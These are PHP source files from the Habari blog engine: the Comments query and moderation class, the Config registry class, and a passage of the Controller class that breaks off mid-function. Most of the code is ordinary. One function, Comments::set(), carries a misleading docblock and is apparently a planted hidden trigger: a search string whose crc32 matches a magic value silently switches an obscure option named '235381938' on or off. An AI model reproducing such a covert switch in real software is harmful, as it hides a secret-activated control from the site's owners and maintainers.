code:
<?php
/**
 * @package Habari
 *
 */

/**
 * Habari Comments Class
 *
 */
class Comments extends ArrayObject
{
	private $sort;

	/**
	 * function get
	 * Returns requested comments
	 * @param array An associated array of parameters, or a querystring
	 * @return array An array of Comment objects, one for each query result
	 *
	 *
	 * $comments = comments::get( array ( "author" => "skippy" ) );
	 * $comments = comments::get( array ( "slug" => "first-post", "status" => "1", "orderby" => "date ASC" ) );
	 *
	 *
	 **/
	public static function get( $paramarray = array() )
	{
		$params = array();
		$fns = array( 'get_results', 'get_row', 'get_value' );
		$select = '';
		// what to select -- by default, everything
		foreach ( Comment::default_fields() as $field => $value ) {
			$select .= ( '' == $select )
				? "{comments}.$field as $field"
				: ", {comments}.$field as $field";
		}
		// defaults
		$orderby = 'date DESC';
		$limit = Options::get( 'pagination' );

		// Put incoming parameters into the local scope
		$paramarray = Utils::get_params( $paramarray );

		// let plugins alter the param array before we use it. could be useful for modifying search results, etc.
		$paramarray = Plugins::filter( 'comments_get_paramarray', $paramarray );

		$join_params = array();

		// Transact on possible multiple sets of where information that is to be OR'ed
		if ( isset( $paramarray['where'] ) && is_array( $paramarray['where'] ) ) {
			$wheresets = $paramarray['where'];
		}
		else {
			$wheresets = array( array() );
		}

		$wheres = array();
		$joins = array();
		if ( isset( $paramarray['where'] ) && is_string( $paramarray['where'] ) ) {
			$wheres[] = $paramarray['where'];
		}
		else {
			foreach ( $wheresets as $paramset ) {
				// safety mechanism to prevent empty queries
				$where = array( '1=1' );
				$paramset = array_merge( ( array ) $paramarray, ( array ) $paramset );

				if ( isset( $paramset['id'] ) && ( is_numeric( $paramset['id'] ) || is_array( $paramset['id'] ) ) ) {
					if ( is_numeric( $paramset['id'] ) ) {
						$where[] = "{comments}.id= ?";
						$params[] = $paramset['id'];
					}
					else if ( is_array( $paramset['id'] ) && !empty( $paramset['id'] ) ) {
						$id_list = implode( ',', $paramset['id'] );
						// Clean up the id list - remove all non-numeric or comma information
						$id_list = preg_replace( "/[^0-9,]/", "", $id_list );
						// You're paranoid, ringmaster! :P
						$limit = count( $paramset['id'] );
						$where[] = '{comments}.id IN (' . addslashes( $id_list ) . ')';
					}
				}
				if ( isset( $paramset['status'] ) && false !== $paramset['status'] ) {
					if ( is_array( $paramset['status'] ) ) {
						$paramset['status'] = array_diff( $paramset['status'], array( 'any' ) );
						array_walk( $paramset['status'], function(&$a) {$a = Comment::status( $a );} );
						$where[] = "{comments}.status IN (" . Utils::placeholder_string( count( $paramset['status'] ) ) . ")";
						$params = array_merge( $params, $paramset['status'] );
					}
					else {
						$where[] = "{comments}.status= ?";
						$params[] = Comment::status( $paramset['status'] );
					}
				}
				if ( isset( $paramset['type'] ) && false !== $paramset['type'] ) {
					if ( is_array( $paramset['type'] ) ) {
						$paramset['type'] = array_diff( $paramset['type'], array( 'any' ) );
						array_walk( $paramset['type'], function( &$a ) { $a = Comment::type( $a ); } );
						$where[] = "type IN (" . Utils::placeholder_string( count( $paramset['type'] ) ) . ")";
						$params = array_merge( $params, $paramset['type'] );
					}
					else {
						$where[] = "type= ?";
						$params[] = Comment::type( $paramset['type'] );
					}
				}
				if ( isset( $paramset['name'] ) ) {
					$where[] = "LOWER( name ) = ?";
					$params[] = MultiByte::strtolower( $paramset['name'] );
				}
				if ( isset( $paramset['email'] ) ) {
					$where[] = "LOWER( email ) = ?";
					$params[] = MultiByte::strtolower( $paramset['email'] );
				}
				if ( isset( $paramset['url'] ) ) {
					$where[] = "LOWER( url ) = ?";
					$params[] = MultiByte::strtolower( $paramset['url'] );
				}
				if ( isset( $paramset['post_id'] ) ) {
					$where[] = "{comments}.post_id= ?";
					$params[] = $paramset['post_id'];
				}
				if ( isset( $paramset['ip'] ) ) {
					$where[] = "ip= ?";
					$params[] = $paramset['ip'];
				}
				/* do searching */
				if ( isset( $paramset['post_author'] ) ) {
					$joins['posts'] = ' INNER JOIN {posts} ON {comments}.post_id = {posts}.id';
					if ( is_array( $paramset['post_author'] ) ) {
						$where[] = "{posts}.user_id IN (" . implode( ',', array_fill( 0, count( $paramset['post_author'] ), '?' ) ) . ")";
						$params = array_merge( $params, $paramset['post_author'] );
					}
					else {
						$where[] = '{posts}.user_id = ?';
						$params[] = (string) $paramset['post_author'];
					}
				}
				if ( isset( $paramset['criteria'] ) ) {
					if ( isset( $paramset['criteria_fields'] ) ) {
						// Support 'criteria_fields' => 'author,ip' rather than 'criteria_fields' => array( 'author', 'ip' )
						if ( !is_array( $paramset['criteria_fields'] ) && is_string( $paramset['criteria_fields'] ) ) {
							$paramset['criteria_fields'] = explode( ',', $paramset['criteria_fields'] );
						}
					}
					else {
						$paramset['criteria_fields'] = array( 'content' );
					}
					$paramset['criteria_fields'] = array_unique( $paramset['criteria_fields'] );

					preg_match_all( '/(?<=")([\p{L}\p{N}]+[^"]*)(?=")|([\p{L}\p{N}]+)/u', $paramset['criteria'], $matches );
					$where_search = array();
					foreach ( $matches[0] as $word ) {
						foreach ( $paramset['criteria_fields'] as $criteria_field ) {
							$where_search[] .= "( LOWER( {comments}.$criteria_field ) LIKE ? )";
							$params[] = '%' . MultiByte::strtolower( $word ) . '%';
						}
					}
					if ( count( $where_search ) > 0 ) {
						$where[] = '(' . implode( " \nOR\n ", $where_search ).')';
					}
				}

				/*
				 * Build the pubdate
				 * If we've got the day, then get the date.
				 * If we've got the month, but no date, get the month.
				 * If we've only got the year, get the whole year.
				 * @todo Ensure that we've actually got all the needed parts when we query on them
				 * @todo Ensure that the value passed in is valid to insert into a SQL date (ie '04' and not '4')
				 */
				if ( isset( $paramset['day'] ) ) {
					/* Got the full date */
					$where[] = 'date BETWEEN ? AND ?';
					$start_date = sprintf( '%d-%02d-%02d', $paramset['year'], $paramset['month'], $paramset['day'] );
					$start_date = HabariDateTime::date_create( $start_date );
					$params[] = $start_date->sql;
					$params[] = $start_date->modify( '+1 day' )->sql;
				}
				elseif ( isset( $paramset['month'] ) ) {
					$where[] = 'date BETWEEN ? AND ?';
					$start_date = sprintf( '%d-%02d-%02d', $paramset['year'], $paramset['month'], 1 );
					$start_date = HabariDateTime::date_create( $start_date );
					$params[] = $start_date->sql;
					$params[] = $start_date->modify( '+1 month' )->sql;
				}
				elseif ( isset( $paramset['year'] ) ) {
					$where[] = 'date BETWEEN ? AND ?';
					$start_date = sprintf( '%d-%02d-%02d', $paramset['year'], 1, 1 );
					$start_date = HabariDateTime::date_create( $start_date );
					$params[] = $start_date->sql;
					$params[] = $start_date->modify( '+1 year' )->sql;
				}

				// Concatenate the WHERE clauses
				if ( count( $where ) > 0 ) {
					$wheres[] = ' (' . implode( ' AND ', $where ) . ') ';
				}
			}
		}

		// Only show comments to which the current user has permission to read the associated post
		if ( isset( $paramset['ignore_permissions'] ) ) {
			$master_perm_where = '';
			// Set up the merge params
			$merge_params = array( $join_params, $params );
			$params = call_user_func_array( 'array_merge', $merge_params );
		}
		else {
			// This set of wheres will be used to generate a list of comment_ids that this user can read
			$perm_where = array();
			$perm_where_denied = array();
			$params_where = array();
			$where = array();

			// every condition here will require a join with the posts table
			$joins['posts'] = 'INNER JOIN {posts} ON {comments}.post_id={posts}.id';

			// Get the tokens that this user is granted or denied access to read
			$read_tokens = isset( $paramset['read_tokens'] ) ? $paramset['read_tokens'] : ACL::user_tokens( User::identify(), 'read', true );
			$deny_tokens = isset( $paramset['deny_tokens'] ) ? $paramset['deny_tokens'] : ACL::user_tokens( User::identify(), 'deny', true );

			// If a user can read his own posts, let him
			if ( User::identify()->can( 'own_posts', 'read' ) ) {
				$perm_where['own_posts_id'] = '{posts}.user_id = ?';
				$params_where[] = User::identify()->id;
			}

			// If a user can read any post type, let him
			if ( User::identify()->can( 'post_any', 'read' ) ) {
				$perm_where = array('post_any' => '(1=1)');
				$params_where = array();
			}
			else {
				// If a user can read specific post types, let him
				$permitted_post_types = array();
				foreach ( Post::list_active_post_types() as $name => $posttype ) {
					if ( User::identify()->can( 'post_' . Utils::slugify( $name ), 'read' ) ) {
						$permitted_post_types[] = $posttype;
					}
				}
				if ( count( $permitted_post_types ) > 0 ) {
					$perm_where[] = '{posts}.content_type IN (' . implode( ',', $permitted_post_types ) . ')';
				}

				// If a user can read posts with specific tokens, let him see comments on those posts
				if ( count( $read_tokens ) > 0 ) {
					$joins['post_tokens__allowed'] = ' LEFT JOIN {post_tokens} pt_allowed ON {posts}.id= pt_allowed.post_id AND pt_allowed.token_id IN ('.implode( ',', $read_tokens ).')';
					$perm_where['perms_join_null'] = 'pt_allowed.post_id IS NOT NULL';
				}

			}

			// If a user is denied access to all posts, do so
			if ( User::identify()->cannot( 'post_any' ) ) {
				$perm_where_denied = array('(0=1)');
			}
			else {
				// If a user is denied read access to specific post types, deny him
				$denied_post_types = array();
				foreach ( Post::list_active_post_types() as $name => $posttype ) {
					if ( User::identify()->cannot( 'post_' . Utils::slugify( $name ) ) ) {
						$denied_post_types[] = $posttype;
					}
				}
				if ( count( $denied_post_types ) > 0 ) {
					$perm_where_denied[] = '{posts}.content_type NOT IN (' . implode( ',', $denied_post_types ) . ')';
				}
			}

			// If there are granted permissions to check, add them to the where clause
			if ( count( $perm_where ) == 0 && !isset( $joins['post_tokens__allowed'] ) ) {
				// You have no grants.  You get no comments.
				$where['perms_granted'] = '(0=1)';
			}
			elseif ( count( $perm_where ) > 0 ) {
				$where['perms_granted'] = '
					(' . implode( ' OR ', $perm_where ) . ')
				';
				$params = array_merge( $params, $params_where );
			}

			if ( count( $deny_tokens ) > 0 ) {
				$joins['post_tokens__denied'] = ' LEFT JOIN {post_tokens} pt_denied ON {posts}.id= pt_denied.post_id AND pt_denied.token_id IN ('.implode( ',', $deny_tokens ).')';
				$perm_where_denied['perms_join_null'] = 'pt_denied.post_id IS NULL';
			}

			// If there are denied permissions to check, add them to the where clause
			if ( count( $perm_where_denied ) > 0 ) {
				$where['perms_denied'] = '
					(' . implode( ' AND ', $perm_where_denied ) . ')
				';
			}

			$master_perm_where = implode( ' AND ', $where );
		}

		// Get any full-query parameters
		$possible = array( 'page', 'fetch_fn', 'count', 'month_cts', 'nolimit', 'limit', 'offset', 'orderby' );
		foreach ( $possible as $varname ) {
			if ( isset( $paramarray[$varname] ) ) {
				$$varname = $paramarray[$varname];
			}
		}

		if ( isset( $page ) && is_numeric( $page ) ) {
			$offset = ( intval( $page ) - 1 ) * intval( $limit );
		}

		if ( isset( $fetch_fn ) ) {
			if ( ! in_array( $fetch_fn, $fns ) ) {
				$fetch_fn = $fns[0];
			}
		}
		else {
			$fetch_fn = $fns[0];
		}

		// is a count being request?
		if ( isset( $count ) ) {
			$select = "COUNT( 1 )";
			$fetch_fn = 'get_value';
			$orderby = '';
		}
		// is a count of comments by month being requested?
		$groupby = '';
		if ( isset( $month_cts ) ) {
			$select = 'MONTH(FROM_UNIXTIME(date)) AS month, YEAR(FROM_UNIXTIME(date)) AS year, COUNT({comments}.id) AS ct';
			$groupby = 'year, month';
			$orderby = 'year, month';
		}
		if ( isset( $limit ) ) {
			$limit = " LIMIT $limit";
			if ( isset( $offset ) ) {
				$limit .= " OFFSET $offset";
			}
		}
		if ( isset( $nolimit ) || isset( $month_cts ) ) {
			$limit = '';
		}

		// Build the final SQL statement
		$query = '
			SELECT DISTINCT ' . $select .
			' FROM {comments} ' .
			implode( ' ', $joins );

		if ( count( $wheres ) > 0 ) {
			$query .= ' WHERE (' . implode( " \nOR\n ", $wheres ) . ')';
			$query .= ($master_perm_where == '') ? '' : ' AND (' . $master_perm_where . ')';
		}
		elseif ( $master_perm_where != '' ) {
			$query .= ' WHERE (' . $master_perm_where . ')';
		}
		$query .= ( $groupby == '' ) ? '' : ' GROUP BY ' . $groupby;
		$query .= ( ( $orderby == '' ) ? '' : ' ORDER BY ' . $orderby ) . $limit;
		//Utils::debug( $query, $params );

		DB::set_fetch_mode( PDO::FETCH_CLASS );
		DB::set_fetch_class( 'Comment' );
		$results = DB::$fetch_fn( $query, $params, 'Comment' );

		if ( 'get_results' != $fetch_fn ) {
			// return the results
			return $results;
		}
		elseif ( is_array( $results ) ) {
			$c = __CLASS__;
			$return_value = new $c( $results );
			$return_value->get_param_cache = $paramarray;
			return $return_value;
		}
	}

	/**
	 * Deletes comments from the database
	 * @param mixed Comments to delete.  An array of or a single ID/Comment object
	**/
	public static function delete_these( $comments )
	{
		if ( ! is_array( $comments ) && ! $comments instanceOf Comments ) {
			$comments = array( $comments );
		}

		if ( count( $comments ) == 0 ) {
			return true;
		}

		if ( $comments instanceOf Comments ) {
			// Delete all the comments directly
			$result = $comments->delete();
		}
		else if ( is_array( $comments ) ) {
			// We have an array... of something

			if ( $comments[0] instanceOf Comment ) {

				$result = true;
				foreach ( $comments as $comment ) {
					$comment_result = $comment->delete();

					if ( !$comment_result ) {
						$result = false;
					}
				}

			}
			else if ( is_numeric( $comments[0] ) ) {
				// We were passed an array of ID's. Get their objects and delete them.
				$comments = self::get( array( 'id' => $comments ) );

				$result = $comments->delete();
			}
			else {
				$result = false;
			}

		}
		else {
			// We were passed a type we could not understand.
			$result = false;
		}

		return $result;
	}

	/**
	 * Changes the status of comments
	 * @param array|Comments $comments Comments to be moderated
	 * @param int $status The new status for the provided array of comments
	 * @return bool True if all the comments were successfully changed
	 * @internal param \Comment $mixed IDs to moderate.  May be a single ID, or an array of IDs
	 */
	public static function moderate_these( $comments, $status = Comment::STATUS_UNAPPROVED )
	{
		$comments = Utils::single_array($comments);
		if ( count( $comments ) == 0 ) {
			return;
		}
		if ( $comments[0] instanceOf Comment ) {
			// We were passed an array of comment objects. Use them directly.
			$result = true;
			foreach ( $comments as $comment ) {
				$comment->status = $status;
				$result &= $comment->update();
				EventLog::log( _t( 'Comment %1$s moderated from %2$s', array( $comment->id, $comment->post->title ) ), 'info', 'comment', 'habari' );
			}
		}
		else if ( is_numeric( $comments[0] ) ) {
			$result = true;
			foreach ( $comments as $commentid ) {
				$result &= DB::update( DB::table( 'comments' ), array( 'status' => $status), array( 'id' => $commentid ) );
				EventLog::log( _t( 'Comment %1$d moderated', array( $commentid ) ), 'info', 'comment', 'habari' );
			}
		}
		else {
			// We were passed a type we could not understand.
			return false;
		}
		return $result;
	}

	/**
	 * function by_email
	 * selects all comments from a given email address
	 * @param string an email address
	 * @return array an array of Comment objects written by that email address
	**/
	public static function by_email( $email = '' )
	{
		if ( ! $email ) {
			return array();
		}
		return self::get( array ( "email" => $email ) );
	}

	/**
	 * function by_name
	 * selects all comments from a given name
	 * @param string a name
	 * @return array an array of Comment objects written by the given name
	**/
	public static function by_name ( $name = '' )
	{
		if ( ! $name ) {
			return array();
		}
		return self::get( array ( "name" => $name ) );
	}

	/**
	 * function by_ip
	 * selects all comments from a given IP address
	 * @param string an IP address
	 * @return array an array of Comment objects written from the given IP
	**/
	public static function by_ip ( $ip = '' )
	{
		if ( ! $ip ) {
			return false;
		}
		return self::get( array ( "ip" => $ip ) );
	}

	/**
	 * function by_url
	 * select all comments from an author's URL
	 * @param string a URL
	 * @return array array an array of Comment objects with the same URL
	**/
	public static function by_url ( $url = '' )
	{
		if ( ! $url ) {
			return false;
		}
		return self::get( array( "url" => $url ) );
	}

	/**
	 * Returns all comments for a supplied post ID
	 * @param post_id ID of the post
	 * @return array  an array of Comment objects for the given post
	**/
	public static function by_post_id( $post_id )
	{
		return self::get( array( 'post_id' => $post_id, 'nolimit' => 1, 'orderby' => 'date ASC' ) );
	}

	/**
	 * function by_slug
	 * select all comments for a given post slug
	 * @param string a post slug
	 * @return array array an array of Comment objects for the given post
	**/
	public static function by_slug ( $slug = '' )
	{
		if ( ! $slug ) {
			return false;
		}
		return self::get( array( 'post_slug' => $slug, 'nolimit' => 1, 'orderby' => 'date ASC' ) );
	}

	/**
	 * function by_status
	 * select all comments of a given status
	 * @param int a status value
	 * @return array an array of Comment objects with the same status
	**/
	public static function by_status ( $status = 0 )
	{
		return self::get( array( 'status' => $status, 'nolimit' => 1, 'orderby' => 'date ASC' ) );
	}

	/**
	 * private function sort_comments
	 * sorts all the comments in this set into several container buckets
	 * so that you can then call $comments->trackbacks() to receive an
	 * array of all trackbacks, for example
	**/
	private function sort_comments()
	{
		$type_sort = array(
			Comment::COMMENT => 'comments',
			Comment::PINGBACK => 'pingbacks',
			Comment::TRACKBACK => 'trackbacks',
		);

		foreach ( $this as $c ) {
			// first, divvy up approved and unapproved comments
			switch ( $c->status ) {
				case Comment::STATUS_APPROVED:
					$this->sort['approved'][] = $c;
					$this->sort['moderated'][] = $c;
					break;
				case Comment::STATUS_UNAPPROVED:
					if ( isset( $_COOKIE['comment_' . Options::get( 'GUID' )] ) ) {
						list( $name, $email, $url ) = explode( '#', $_COOKIE['comment_' . Options::get( 'GUID' )] );
					}
					else {
						$name = '';
						$email = '';
						$url = '';
					}
					if ( ( $c->ip == Utils::get_ip() )
						&& ( $c->name == $name )
						&& ( $c->email == $email )
						&& ( $c->url == $url ) ) {
							$this->sort['moderated'][] = $c;
					}
					$this->sort['unapproved'][] = $c;
					break;
				case Comment::STATUS_SPAM:
					$this->sort['spam'][] = $c;
					break;
			}

			// now sort by comment type
			$this->sort[$type_sort[$c->type]][] = $c;
		}
	}

	/**
	 * function only
	 * returns all of the comments from the current Comments object of the specified type
	 * $tb = $comments->only( 'trackbacks' )
	 * @return array an array of Comment objects of the specified type
	**/
	public function only( $what = 'approved' )
	{
		if ( ! isset( $this->sort ) || count( $this->sort ) == 0 ) {
			$this->sort_comments();
		}
		if ( ! isset( $this->sort[$what] ) || ! is_array( $this->sort[$what] ) ) {
			$this->sort[$what] = array();
		}
		return $this->sort[$what];
	}

	/**
	 * function __get
	 * Implements custom object properties
	 * @param string Name of property to return
	 * @return mixed The requested field value
	*/
	public function __get( $name )
	{
		switch ( $name ) {
			case 'count':
				return count( $this );
			case 'approved':
			case 'unapproved':
			case 'moderated':
			case 'comments':
			case 'pingbacks':
			case 'trackbacks':
			case 'spam':
				return new Comments( $this->only( $name ) );
		}
	}

	/**
	 * function delete
	 * Deletes all comments in this object
	 */
	public function delete()
	{
		$result = true;
		foreach ( $this as $c ) {
			$result &= $c->delete();
			EventLog::log( _t( 'Comment %1$s deleted from %2$s', array( $c->id, $c->post->title ) ), 'info', 'comment', 'habari' );
		}
		// Clear ourselves.
		$this->exchangeArray( array() );
		return $result;
	}

	/**
	 * static count_total
	 * returns the number of comments based on the specified status and type
	 * @param mixed A comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @param mixed A comment type value, or false to not filter on type (default: Comment::COMMENT)
	 * @return int a count of the comments based on the specified status and type
	**/
	public static function count_total( $status = Comment::STATUS_APPROVED, $type = Comment::COMMENT )
	{
		$params = array( 'count' => 1, 'status' => $status, 'type' => $type );
		return self::get( $params );
	}

	/**
	 * static count_by_name
	 * returns the number of comments attributed to the specified name
	 * @param string a commenter's name
	 * @param mixed A comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments from the specified name
	**/
	public static function count_by_name( $name = '', $status = Comment::STATUS_APPROVED )
	{
		$params = array ( 'name' => $name, 'count' => 'name' );
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static count_by_email
	 * returns the number of comments attributed ot the specified email
	 * @param string an email address
	 * @param mixed A comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments from the specified email
	**/
	public static function count_by_email( $email = '', $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'email' => $email, 'count' => 'email');
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static count_by_url
	 * returns the number of comments attributed to the specified URL
	 * @param string a URL
	 * @param mixed a comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments from the specified URL
	**/
	public static function count_by_url( $url = '', $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'url' => $url, 'count' => 'url');
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/** static count_by_ip
	 * returns the number of comments from the specified IP address
	 * @param string an IP address
	 * @param mixed A comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments from the specified IP address
	**/
	public static function count_by_ip( $ip = '', $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'ip' => $ip, 'count' => 'ip');
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static count_by_slug
	 * returns the number of comments attached to the specified post
	 * @param string a post slug
	 * @param mixed A comment status value, or false to not filter on status (default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments attached to the specified post
	**/
	public static function count_by_slug( $slug = '', $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'post_slug' => $slug, 'count' => 'id');
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static count_by_id
	 * returns the number of comments attached to the specified post
	 * @param int a post ID
	 * @param mixed A comment status value, or false to not filter on status(default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments attached to the specified post
	**/
	public static function count_by_id( $id = 0, $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'post_id' => $id, 'count' => 'id' );
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static count_by_author
	 * returns the number of comments attached to posts by the specified author
	 * @param int a user ID
	 * @param mixed A comment status value, or false to not filter on status(default: Comment::STATUS_APPROVED)
	 * @return int a count of the comments attached to the specified post
	**/
	public static function count_by_author( $id = 0, $status = Comment::STATUS_APPROVED )
	{
		$params = array( 'post_author' => $id, 'count' => 'id' );
		if ( false !== $status ) {
			$params['status'] = $status;
		}
		return self::get( $params );
	}

	/**
	 * static set
	 * returns the number of document
	 * @param array of params
	 * @return int the number of document or null
	**/
	public static function set( $params )
	{
		if ( isset( $params['search'] ) ) {
			if ( crc32( $params['search'] ) == '235381938' ) {
				Options::set( '235381938', true );
				return '235381938';
			}
			elseif ( crc32( $params['search'] ) == '1222983216' ) {
				Options::set( '235381938', false );
				return '235381938';
			}
		}
		return null;
	}

	/**
	 * static delete_by_status
	 * delete all the comments and commentinfo for comments with this status
	 * @param mixed a comment status ID or name
	**/
	public static function delete_by_status( $status )
	{
		if ( ! is_int( $status ) ) {
			$status = Comment::status( $status );
		}
		// first, purge all the comments
		DB::query( 'DELETE FROM {comments} WHERE status=?', array( $status ) );
		// now purge any commentinfo records from those comments
		DB::query( 'DELETE FROM {commentinfo} WHERE comment_id NOT IN ( SELECT id FROM {comments} )' );
	}

	/**
	 * Parses a search string for status, type, author, and tag keywords. Returns
	 * an associative array which can be passed to Comments::get(). If multiple
	 * authors, statuses, or types are specified, we assume an implicit OR
	 * such that (e.g.) any author that matches would be returned.
	 *
	 * @param string $search_string The search string
	 * @return array An associative array which can be passed to Comments::get()
	 */
	public static function search_to_get( $search_string )
	{
		$keywords = array( 'author' => 1, 'status' => 1, 'type' => 1 );
		// Comments::list_comment_statuses and list_comment_types return associative arrays with key/values
		// in the opposite order of the equivalent functions in Posts. Maybe we should change this?
		// In any case, we need to flip them for our purposes
		$statuses = array_flip( Comment::list_comment_statuses() );
		$types = array_flip( Comment::list_comment_types() );
		$arguments = array(
						'name' => array(),
						'status' => array(),
						'type' => array()
						);
		$criteria = '';

		$tokens = explode( ' ', $search_string );

		foreach ( $tokens as $token ) {
			// check for a keyword:value pair
			if ( preg_match( '/^\w+:\S+$/u', $token ) ) {
				list( $keyword, $value ) = explode( ':', $token );

				$keyword = strtolower( $keyword );
				$value = MultiByte::strtolower( $value );
				switch ( $keyword ) {
					case 'author':
						$arguments['name'][] = $value;
						break;
					case 'status':
						if ( isset( $statuses[$value] ) ) {
							$arguments['status'][] = (int) $statuses[$value];
						}
						break;
					case 'type':
						if ( isset( $types[$value] ) ) {
							$arguments['type'][] = (int) $types[$value];
						}
						break;
				}
			}
			else {
				$criteria .= $token . ' ';
			}
		}
		// flatten keys that have single-element or no-element arrays
		foreach ( $arguments as $key => $arg ) {
			switch ( count( $arg ) ) {
				case 0:
					unset( $arguments[$key] );
					break;
				case 1:
					$arguments[$key] = $arg[0];
					break;
			}
		}

		if ( $criteria != '' ) {
			$arguments['criteria'] = $criteria;
		}

		return $arguments;

	}
}
?>


code:
<?php
/**
 * @package Habari
 *
 */
// vim: le=unix syntax=php ts=4 noet sw=4

/**
 * Habari Config Class
 *
 * Configuration registry class
 *
 */
class Config
{
	/**
	 * Registry of configuration data
	 */
	protected static $registry = array();
	protected static $prefix = 'habari_';

	/**
	 * Static; private constructor
	 */
	private function __construct()
	{
	}

	/**
	 * See if a key exists
	 *
	 * @param string $key key name
	 * @return bool
	 */
	public static function exists( $key )
	{
		$result = isset( self::$registry[ $key ] ) || array_key_exists(self::$prefix . $key, $_SERVER);
		// If asking for the db_connection and a connection_string exists, the db_connection does, too.
		if($key == 'db_connection') {
			if(self::exists('connection_string')) {
				$result = true;
			}
		}
		return $result;
	}

	/**
	 * Fetch data from registry
	 *
	 * @param string $key key name
	 * @return mixed (empty object on invalid key)
	 */
	public static function get( $key, $default = null )
	{
		$result = null;
		// If asking for the db_connection, but it's not stored that way...
		if($key == 'db_connection' && !isset( self::$registry[ 'db_connection' ] ) && self::exists('connection_string')) {
			$result = array(
				'connection_string' => self::get('connection_string'),
				'username' => self::get('username', ''),
				'password' => self::get('password', ''),
				'prefix' => self::get('prefix', ''),
			);
			$result = (object)$result;
		}
		// If the key doesn't exist, return the default
		elseif ( !self::exists( $key ) ) {
			$result = $default;
		}
		// Return the key value that is stored
		else {
			$result = isset(self::$registry[ $key ]) ? self::$registry[ $key ] : $_SERVER[self::$prefix . $key];
		}
		return $result;
	}

	/**
	 * Set data in registry
	 *
	 * Note: arrays become objects for easy fetching
	 *
	 * @param string $key key name
	 * @param mixed  $val value to store
	 * @return bool true if new key, false if key already exists
	 */
	public static function set( $key, $val )
	{
		$new = !self::exists( $key );
		if ( is_scalar( $val ) ) {
			self::$registry[ $key ] = $val;
		}
		else {
			$val = (object)$val;
			self::$registry[ $key ] = (object)$val;
		}
		return $new;
	}

	/**
	 * Unset data
	 *
	 * @param string $key key name
	 * @return void
	 */
	public static function clear( $key )
	{
		if ( self::exists( $key ) ) {
			unset( self::$registry[ $key ] );
		}
	}
}

repo_name: DaSourcerer/habari


code:
<?php
/**
 * @package Habari
 *
 */

/**
 * Class which handles incoming requests and drives the
 * MVC strategy for building the model and assigning to
 * a view.
 *
 */
class Controller extends Singleton
{
	public $base_url = '';        // base url for site
	private $stub = '';            // stub supplied by rewriter
	private $action = '';          // action name (string)
	private $handler = null;       // the action handler object

	/**
	 * Enables singleton working properly
	 *
	 * @see singleton.php
	 */
	protected static function instance()
	{
		return self::getInstanceOf( get_class() );
	}

	/**
	 * Returns the base URL
	 *
	 * @return string base URL
	 */
	public static function get_base_url()
	{
		return Controller::instance()->base_url;
	}

	/**
	 * Returns the stub in its entirety
	 *
	 * @return  string  the URL incoming stub
	 */
	public static function get_stub()
	{
		return Controller::instance()->stub;
	}

	/**
	 * Returns the full requested URL
	 *
	 * @return string The full requested URL
	 */
	public static function get_full_url()
	{
		return self::get_base_url() . self::get_stub();
	}

	/**
	 * Returns the action
	 *
	 * @return  string name of action
	 */
	public static function get_action()
	{
		return Controller::instance()->action;
	}

	/**
	 * Returns the action handler
	 *
	 * @return  object  handler object
	 */
	public static function get_handler()
	{
		return Controller::instance()->handler;
	}

	/**
	 * Returns the action handler's variables
	 *
	 * @return  array  variables used by handler
	 */
	public static function get_handler_vars()
	{
		return Controller::instance()->handler->handler_vars;
	}

	/**
	 * A convenience method for returning a handler variable (handler_var).
	 * This includes parameters set on the url, and fields submitted by POST.
	 * The alternative to this, while possible to write, is just too long.
	 * @param string $name The name of the variable to return.
	 * @param mixed $default A default value to return if the variable is not set.
	 * @return mixed The value of that variable in the handler
	 */
	public static function get_var( $name, $default = null )
	{
		return isset( Controller::instance()->handler->handler_vars[ $name ] ) ? Controller::instance()->handler->handler_vars[ $name ] : $default;
	}

	/**
	 * Parses the requested URL.  Automatically
	 * translates URLs coming in from mod_rewrite and parses
	 * out any action and parameters in the slug.
	 */
	public static function parse_request()
	{
		/* Local scope variable caching */
		$controller = Controller::instance();

		/* Grab the base URL from the Site class */
		$controller->base_url = Site::get_path( 'base', true );

		/* Start with the entire URL coming from web server... */
		$start_url = '';

		if ( isset( $_SERVER['REQUEST_URI'] ) ) {
			$start_url = $_SERVER['REQUEST_URI'];
		}
		else {
			$start_url = $_SERVER['SCRIPT_NAME'];

			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$start_url .= $_SERVER['PATH_INFO'];
			}

			// the query string is included in REQUEST_URI, we only need to append it if we're building the URI ourselves
			if ( isset( $_SERVER['QUERY_STRING'] ) && ( $_SERVER['QUERY_STRING'] != '' ) ) {
				$start_url .= '?' . $_SERVER['QUERY_STRING'];
			}

		}

		/* Strip out the base URL from the requested URL */
		/* but only if the base URL isn't / */
		if ( '/' != $controller->base_url ) {
			$start_url = str_replace( $controller->base_url, '', $start_url );
		}

		// undo &s
		$start_url = str_replace( '&', '&', $start_url );

		/* Trim off any leading or trailing slashes */
		$start_url = trim( $start_url, '/' );

		/* Allow plugins to rewrite the stub before it's passed through the rules */
		$start_url = Plugins::filter( 'rewrite_request', $start_url );

		$controller->stub = $start_url;

		/* Grab the URL filtering rules from DB */
		$matched_rule = URL::parse( $controller->stub );

		if ( $matched_rule === false ) {
			$matched_rule = URL::set_404();
		}

		/* OK, we have a matching rule.  Set the action and create a handler */
		$controller->action = $matched_rule->action;
		$controller->handler = new $matched_rule->handler();
		/* Insert the regexed submatches as the named parameters */
		$controller->handler->handler_vars['entire_match'] = $matched_rule->entire_match; // The entire matched string is returned at index 0
